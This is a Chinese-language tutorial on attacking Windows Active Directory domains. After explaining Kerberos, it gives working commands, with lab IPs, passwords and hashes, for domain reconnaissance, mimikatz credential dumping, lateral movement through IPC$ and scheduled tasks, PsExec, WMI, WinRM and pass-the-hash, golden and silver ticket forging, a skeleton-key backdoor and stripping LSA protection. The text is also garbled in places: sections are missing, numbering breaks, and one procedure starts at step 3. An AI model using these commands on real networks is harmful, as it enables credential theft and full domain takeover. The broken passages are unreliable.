1、域的简单介绍
将网络中多台计算机逻辑上组织到一起进行集中管理,这种区别于工作组的逻辑环境叫做域。域是由域控制器(Domain Controller)和成员计算机组成,域控制器就是安装了活动目录(Active Directory)的计算机。活动目录提供了存储网络上对象信息并使用网络使用该数据的方法。
1.1 工作组的缺点
2 没有统一的管理机制,
2 没有对用户账户的统一的身份验证机制
2 没有统一查找网络资源的机制
1.2 域优势
活动目录的特点:
2 集中管理,可以集中的管理企业中成千上万分布于异地的计算机和用户。
2 便捷的网络资源访问,能够容易的定位到域中的资源。
2 用户一次登录就可访问整个网络资源,集中的身份验证。
2 网络资源主要包含用户帐户、组、共享文件夹、打印机等
2 可扩展性,既可以适用于几十台计算机的小规模网络,也可以适用于跨国公司。
2、Kerberos 协议简介
Kerberos 是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意的读取、修改和插入数据。在以上情况下,Kerberos 作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。
2.1 Kerberos 协议框架
Kerberos 协议中主要有三个角色:
1、访问服务的Client 2、提供服务的 Server
3、KDC(Key Distribution Center)密钥分发中心
KDC 默认安装在域控中,而 Client 和 Server 为域内的用户或者服务,如web 应用、数据库服务器和邮件服务器等。Client 是否有权限访问 Server 端的服务由 KDC 发放的票据来决定。
如果把 Kerberos 中的票据比作一张火车票,那么 Client 端就是乘客,Server 就是火车, 而 KDC 就是火车站的认证系统。如果 Client 端的票据是合法的(由你本人身份证购买并且由你本人持有)同时有访问 Server 端服务的权限(车票对应车次正确)那么你才能上车。当然和火车票不同的是 Kerberos 中有两张票据,而火车票只有一张。
由上图可以看出,KDC 又分为两个部分:
Authentication Server: AS 的作用就是验证Client 的身份(确认你是身份证上的本人),验证通过就给一张TGT(Ticket Granting Ticket)票给 Client。
Ticket Granting Server:TGS 的作用就是通过 AS 发给Client 的票(TGT)换取访问 Server
端的票 ST(Server Ticket)。ST 也有资料称之为 TGS Ticket。
2.2 Kerberos 认证流程
当 Client 想要访问 Server 上的某个服务时,需要先向 AS 证明自己的身份,然后通过 AS
发放的 TGT 向 Server 发起认证请求,这个过程分为三块:
The Authentication Service Exchange: Client 与 AS 的交互
The Ticket Granting Service Exchange:Client 与 TGS 的交互
The Client/Server Authentication Exchange:Client 与 Server 的交互
(1) The Authentication Service Exchange
KRB_AS_REQ:
Client->AS:发送 Authenticator1(Client 密码加密 TimeStamp)
第一步 Client 先向 KDC 的 AS 发送 Authenticator1,内容为通过 Client 密码 hash 加密的时间戳、Client ID、网络地址、加密类型等内容。
KBR_AS_REP:
AS->Client:发送 Client 密码加密的 sessionkey-as 和票据 TGT(KBRTGT HASH 加密的
sesionkey-as 和 Timestamp)
在 KDC 中存储了域中所有用户的密码 hash,当 AS 接受到 Client 的请求后会根据 KDC 中存储的密码来解密,解密成功并且验证信息。验证成功后返回给 Client 由Client 密码 hash 加密的 sessionkey-as 和 TGT(由 KBRTGT HASH 加密的 sessionkey-as 和 Timestamp 等信息)。
(2) The Ticket Granting Service(TGS) Exchange
KBR_TGS_REQ:
Client->TGS 发送 Authenticator2(sessionkey-as 加密 timestamp)和票据 TGT(KBRTGT HASH
加密的 sessionkey-as 和 timestamp)
Client 接收到了加密的sessionkey-as 和TGT 后,用自身的密码解密得到sessionkey-as, TGT 是 KDC 密码加密的,Client 无法解密。这时 Client 再用 sessionkey-as 加密 timestamp 和 TGT 一起发送给 KDC 中的 TGS(Ticket Granting Server)票据授权服务器换取能够访问Server 的票据。
KBR_TGS-REP:
TGS->Client:发送密文(由 sessionkey-as 加密的 sessionkey-tgs)和票据 ST(由 server 密码 hash 加密的 sessionkey-tgs)
TGS 收到 Client 发送过来的 TGT 和 Sessionkey-as 加密的 TimeStamp 之后,首先会检查自身是否存在Client 所请求的服务。如果服务存在,则用 KRBTGT 密码解密 TGT。一般情况下TGS 会检查 TGT 中的时间戳查看 TGT 是否过期,且原始地址是否和 TGT 中保存的地址相同。验证成功之后将用 sessionkey-as 加密的 sessionkey-tgs 和 Server 密码 HASH 加密的Sessionkey-tgs 发送给Client。
(3) The Client/Server Authentication Exchange
KBR_AP_REQ:
Client->Server 发送 Authenticator3(sessionkey-tgs 加密 timestamp)和票据 ST(Server 密码
hash 加密的 sessionkey-tgs)
Client 收到sessionkey-as 加密的sessionkey-tgs 和Server 密码hash 加密的sessionkey- tgs 之后用sessionkey-as 解密得到sessionkey-tgs,然后把 sessionkey-tgs 加密的timestamp和 ST 一起发送给 Server。
KBR_AP_REP:
Server->Client :
Server 通过自己的密码解密 ST , 得到 sessionkey-tgs , 再用 sessionkey-tgs 解密
Authenticator3 得到 timestamp,验证正确返回验证成功。
3、域内信息收集
在拿到一台内网机器的时候,首先要确定是不是在域内。可通过以下命令来判断机器是否在域内,若命令能成功执行并返回结果则当前机器在域内,否则不在域内。
3.1 判断是否是域环境
net view /domain 查询域列表
net time /domain 从域控查询时间,若当前用户是域用户会从域控返回当前时间,亦用来判断主域,主域一般用做时间服务器
net localgroup administrators 本机管理员【通常含有域用户】
net user /domain 查询域用户(当前域)
net group /domain 查询域工作组
net group "domain computers" /domain 查看加入域的所有计算机名
net group "domain admins" /domain 查询域管理员用户组和域管用户
net localgroup administrators /domain 查看域管理员
net group "domain controllers" /domain 查看域控
net accounts /domain 查看域密码策略
3.2 定位域控
1、通常域内主机DNS 地址就是域控地址
2、查看是否开启 53,389 等端口
3、ping 域控计算机名
3.2 非域信息收集
1、盲扫C 端、B 段等
2、查看arp 表、路由表
3、找配置文件,如数据库配置等
4、域内横向移动
4.1 凭据窃取
窃取凭据来帮助在域内横向移动。抓密码 hash 的工具有很多,例如 wce、getpass、QuarksPwDump_v0.1、Pwdump7 等等。介绍几个比较好用且自己常用的工具。
4.1.1 mimikatz
用法:
mimikatz # privilege::debug (提升权限)
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords (抓取明文密码和 hash) Github 地址:https://github.com/gentilkiwi/mimikatz
2、使用 mimikatz 从转储的 lsass.dmp 中来读取明文密码
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"
4.1.3 LaZagne
一款抓密码的神器,可以抓取系统密码、浏览器密码、wifi 密码等等。
4.2 横向移动
横向移动的常用方法和工具。
4.2.1 IPC+计划任务
进程间通信(IPC,Inter-Process Communication),指至少两个进程或线程间传送数据或者信号的一些技术或方法。
4.2.1.1 IPC 利用条件
1、139 或 445 端口开启:ipc 连接可以实现远程登录及对默认共享的访问;而 139 端口的开启表示netbios 协议的应用,我们可以通过 139、445 端口实现对共享文件/打印机的访问
2、管理员开启了默认共享:默认共享是为了方便管理员远程管理而默认开启的共享, 即所有的逻辑盘(C$、d$、e$...)和系统目录 winnt 或者windows(admin$)
4.2.1.2 建立IPC 连接、copy 文件、创建计划任务
net user \\192.168.19.169\c$ test@123 /user:adtest\jeff1 copy 1.bat \\192.168.19.169\c$
net time \\192.168.19.169
at \\192.168.19.169 1:03 c:\1.bat
schtasks
由于 at 在新版本的系统中已被弃用,我们需要用schtasks 替代
schtasks /create /s 192.168.19.177 /u adtest\jeff1 /p test@123 /ru "SYSTEM" /tn test /sc DAILY
/tr c:\1.bat /F
创建计划任务,/s 指定远程机器名或 ip 地址,/ru 指定运行任务的用户权限,这里指定为最高的 SYSTEM,/tn 是任务名称,/sc 是任务运行频率,这里指定为每天运行,并没什么实际意义,/tr 指定运行的文件,/F 表示如果指定的任务已经存在,则强制创建任务并抑制警告
运行任务,其中/i 表示立即运行
schtasks /run /s 192.168.19.177 /u adtest\jeff1 /p test@123 /tn test /i
删除计划任务
schtasks /delete /s 192.168.19.177 /u adtest\jeff1 /p test@123 /tn test /f
4.2.1.3 IPC 常见错误
错误号 5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限; 错误号 51,Windows 无法找到网络路径 : 网络有问题;
错误号 53,找不到网络路径 : ip 地址错误;目标未开机;目标 lanmanserver 服务未启动; 目标有防火墙(端口过滤);
错误号 67,找不到网络名 : 你的 lanmanworkstation 服务未启动;目标删除了 ipc$; 错误号 1219,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个 ipc$,请删除再连。
错误号 1326,未知的用户名或错误密码:原因很明显了;
错误号 1792,试图登录,但是网络登录服务没有启动:目标 NetLogon 服务未启动。(连接域控会出现此情况)
错误号 2242,此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码。
4.2.1.4 PsTools
PsTools 是 sysinternals 开发的一个功能强大的安全管理工具包,最新版目前共有 13 个各种功能的小工具。这里介绍下 psexec,psexec 是一款远程执行命令的工具,在内网渗透的时候常它来进行横向移动。
下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
PsExec
1、 若已建立 IPC$连接,无需再次输入账号密码,所有 pstools 工具可直接使用
net use //查看ipc 连接状态
2、 若未建立 IPC 连接,则要使用账号密码进行登录
PsExec.exe \\192.168.19.178 -u adtest\jeff1 -p test@123 cmd.exe
4.2.2 WMI
WMI(Windows Management Instrumentation , Windows 管理规范) 是一项核心的
Windows 管理技术;用户可以使用WMI 管理本地和远程计算机。
4.2.2.1 WMI 利用条件
1、WMI 服务开启(默认开启)
2、135 端口未被过滤
4.2.2.2 利用wmic 进行横向移动
利用系统自带的工具 wmic 在目标主机上执行任意命令
wmic /node:192.168.19.178 /user:adtest\jeff1 /password:test@123 process call create "calc"
缺点:无法回显命令
4.2.2.2 wmiexec.vbs
wmiexec.vbs 是为了解决 wmic 无法回显命令而开发的一个工具,原理就是把数据先存到一个临时文件中,在每次读取完执行结果后就自动删除。可以用来回显执行命令的结果和获取半交互式的shell
cscript wmiexec.vbs /cmd 192.168.19.178 adtest\jeff1 test@123 whoami
cscript wmiexec.vbs /shell 192.168.19.178 adtest\jeff1 test@123
4.2.3 WinRM
WinRM(Windows Remote Management)是 Microsoft 对WS-Management 协议的实现, WS-Management 协议即一种基于标准简单对象访问协议(soap)的防火墙友好协议,它让来自不同供应商的硬件和操作系统能够相互操作。windows 众多可以远程执行命令方式中的一种。
4.2.3.1 WinRM 利用条件
1、适用于win7 及以后的系统,win7 和server 08 默认关闭
2、server 12 之后的版本才默认允许远程任意主机进行管理
3、防火墙未过滤 5985、5986 端口
4.2.3.2 WINRS
winrs(windows remote shell)是WinRM 的客户端,需要管理员权限才能运行,可直接执行命令,也可以返回交互式 shell
winrs -r:192.168.19.100 -u:adtest\administrator -p:admin@124 "cmd”
winrs -r:192.168.19.100 -u:adtest\administrator -p:admin@124 whoami
4.2.3.3 Powershell Invoke-Command
PS C:\Users\jeff1> Invoke-Command -ComputerName 192.168.19.100 -ScriptBlock {whoami}
-credential adtest\administrator
4.2.4 PTH(pass the hash)
PTH(pass the hash,hash 传递)攻击是指攻击者可以直接通过 LM Hash(已弃用)或 NTLM Hash 访问远程主机或服务,而不提供明文密码。
mimikatz # sekurlsa::pth /user:administrator /domain:.
/ntlm:c5113714efbff7fa196f2e2b50938a8f
4.2.4.2 impacket-examples-windows
impacket-examples-windows 是 impacket(网络协议工具包)的 windows 版本,包含了几十款工具,这里使用wmiexec.exe 来演示 pth 攻击。
wmiexec.exe -hashes
b084e803561e306bff17365faf1ffe89:db23832fd3822fcaea5c019f090fe752 ADTEST/jeff1@192.168.19.14 "whoami"
3、 使用 mimilatz 导入生成的 ccache 文件,导入之前 cmd 下使用命令 klist purge 或者在
mimikatz 中使用 kerberos::purge 删除当前缓存的 kerberos 票据
导入票据:
kerberos::ptc TGT_jeff1@adtest.com.ccache
Ø shiro 远程代码执行
Ø phpstudy 后门
Ø fastjson 远程代码执行
Ø sql 注入
Ø 等等
4.2.7 系统漏洞
当内网没有 web 应用的时候,可以尝试通过一些系统漏洞来进行横向移动,通常不建议使用此类漏洞,因为很容易导致服务器蓝屏,常见漏洞如下:
Ø MS08-067
Ø MS17-010
Ø CVE-2019-0708
Ø 等等
5、 权限维持
5.1 黄金票据
黄金票据(Golden Ticket)是有效的 TGT(TicketGranting Ticket)票据,是由 KERBEROS 账户(KBRTGT)加密的。用于域控权限掉后,想再重新获取。因为域管的密码可能更改, 通常 kbrtgt 账户不会有人去过问。
5.1.1 制作黄金票据的前提条件
1、域名称
2、域的SID
3、域的KRBTGT 账户的密码 hash 值
4、伪造的用户名,可以是任意用户甚至是不存在的用户
5.1.2 黄金票据利用
1、导出 krbtgt 密码 hash
mimikatz#lsadump::dcsync /domain:adtest.com /user:krbtgt
导出所有域内用户密码 hash 值:
mimikatz#lsadump::dcsync /domain:adtest.com /all /csv
2、获取域 SID
在导出 krbtgt 的 hash 的时候已经包含了域SID,也可以用以下命令来查看域 SID whoami /all
3、伪造黄金票据
mimikatz.exe privilege::debug "kerberos::golden /domain:adtest.com /sid:S-1-5-21- 3418659180-3421952656-1938706522 /target:WIN-9P499QKTLDO.ADTEST.COM
/service:cifs /rc4: 6f0fdf50f2dcee2fed8e2e3eae7e1592 /user:aaa /ptt"
这里可以不指定target 和service
kerberos::golden /domain:adtest.com /sid:S-1-5-21-3418659180-3421952656- 1938706522 /rc4:6f0fdf50f2dcee2fed8e2e3eae7e1592 /user:aaa /ptt
使用 klist 查看本地缓存的票据
获得票据后可直接通过dir 远程访问主机,可以直接使用ipc 进行连接:
当然也可以使用psexec 去获得一个 cmdshell:
注:普通黄金票据不能跨域使用;TGT 有效时间为 20 分钟;。
5.2 白银票据
黄金票据是伪造 TGT,白银票据(Silver Tickets)是伪造 ST(Service Ticket),因为 TGT 在
pac 里面限定了给Client 授权的服务,所以银票只能访问指定的服务。
5.2.1 伪造白银票据的前提条件
1、域名称
2、域的SID
3、域的服务账号的密码 hash
4、伪造的用户名(可以是任意的)
5.2.2 白银票据的利用
在黄金票据中我们可以不指定 target 和 service,但是在白银票据中必须指定 target 和
service
mimikatz.exe privilege::debug "kerberos::golden /domain:adtest.com /sid:S-1-5-21- 3418659180-3421952656-1938706522 /target:WIN-9P499QKTLDO.ADTEST.COM
/service:cifs /rc4:22eec3fbe7191bdcf1e5819f8bdcd951 /user:aaa /ptt"
5.3 skeleton key
skeleton key(万能钥匙)就是给所有域内用户添加一个相同的密码,域内所有的用户都可以使用这个密码进行认证,同时原始密码也可以使用,其原理是对lsass.exe 进行注入,所以重启后会失效。
1、 在域控上安装skeleton key
mimikatz.exe privilege::debug "misc::skeleton"
2、 在域内其他机器尝试使用 skeleton key 去访问域控添加的密码是 mimikatz
C:\Users\jeff1>net use \\WIN-9P499QKTLDO.adtest.com\c$ mimikatz /user:adtest\adm inistrator
3、 微软在 2014 年 3 月 12 日添加了 LSA 爆护策略,用来防止对进程lsass.exe 的代码注入。如果直接尝试添加skelenton key 会失败。
适用系统:
windows 8.1
windows server 2012 及以上
当然 mimikatz 依旧可以绕过,命令如下:
privilege::debug
!+
!processprotect /process:lsass.exe /remove misc::skeleton